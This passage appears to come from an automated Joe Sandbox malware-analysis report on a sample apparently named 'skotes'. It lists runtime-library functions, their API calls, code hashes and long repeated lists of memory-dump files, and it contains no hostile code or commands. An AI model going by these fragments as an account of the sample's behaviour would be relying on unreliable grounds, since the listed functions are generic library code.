Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction ID: 362742ebbc8931d34a7b4c4158b670fd461602863a3b8dd1a4ebb0d6d4cafd95
Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction Fuzzy Hash: B5519A79E0420A9FDF11CF68C4827EEBBF6EF15354F14449AE851A7351DB32AA05CB90

Function 00612EC0 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00612F5F
GetCurrentThreadId.KERNEL32 ref: 00612F7E
__Mtx_unlock.LIBCPMT ref: 00612FCC
__Cnd_broadcast.LIBCPMT ref: 00612FE3

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: ecaeb31c20f5eef69e79d66ebe3171ea01a2c75a3b94b5b43acdd96673c1b9cc
Instruction ID: b05e445d7983a9ba584b35b702ca5844bf7fec8879de3b23396cffd2d758e1eb
Opcode Fuzzy Hash: ecaeb31c20f5eef69e79d66ebe3171ea01a2c75a3b94b5b43acdd96673c1b9cc
Instruction Fuzzy Hash: 8041DFB0901A269FDB20DF64D944B9AB7F9FF18320F14452DE816D7740EB31EA45CB81

Function 0063DB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0063DB64

Part of subcall function 00638F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00638F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0063DBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0063DBE9
Concurrency::location::_Assign.LIBCMT ref: 0063DC56

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 60c4dba9b6ca72e82cd7e518daf6af63ac03f4e7d9985c8f377c060d24131089
Instruction ID: def81f036387915fd7ce5f15963b6e59ec03030115edf39c04e2b6c4878d9b15
Opcode Fuzzy Hash: 60c4dba9b6ca72e82cd7e518daf6af63ac03f4e7d9985c8f377c060d24131089
Instruction Fuzzy Hash: 7441F270700214ABDF19AB24D896BBEBB7BAF45310F04409DE5069B3C2CBB4AD45CBD5

Function 006356AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 006356F2
_InternalDeleteHelper.LIBCONCRT ref: 00635726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 0063578B
SafeRWList.LIBCONCRT ref: 0063579A

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 771abe0efa64a0f461c17396955bc87a7d2b9940af50cf2c8a9aa38ffd0692c9
Instruction ID: a192844bb6f747c12d8aa02dfc28b105d52edfb2425aec39e7204657e260e66a
Opcode Fuzzy Hash: 771abe0efa64a0f461c17396955bc87a7d2b9940af50cf2c8a9aa38ffd0692c9
Instruction Fuzzy Hash: 0C312636B006109FDF159F20D881EADB7B7AF89710F184279E9069B395DF70AD058BD0

Function 00632CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00632D0F

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: b0b37a88a12f01f4fd0255ceaae950f2aa9c2efcf493cd5520580a082b1e6ca3
Instruction ID: a41459145a664fefab0a4bde46de949f8852466ef4ed48d889fc43275456de0e
Opcode Fuzzy Hash: b0b37a88a12f01f4fd0255ceaae950f2aa9c2efcf493cd5520580a082b1e6ca3
Instruction Fuzzy Hash: 9A313875A0030ADFCF10DF94C8A0AAEBBBABF44710F1404AAD941AB346D770A945DBE0

Function 006413F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 006413FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00641447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 0064147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 0064152A

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
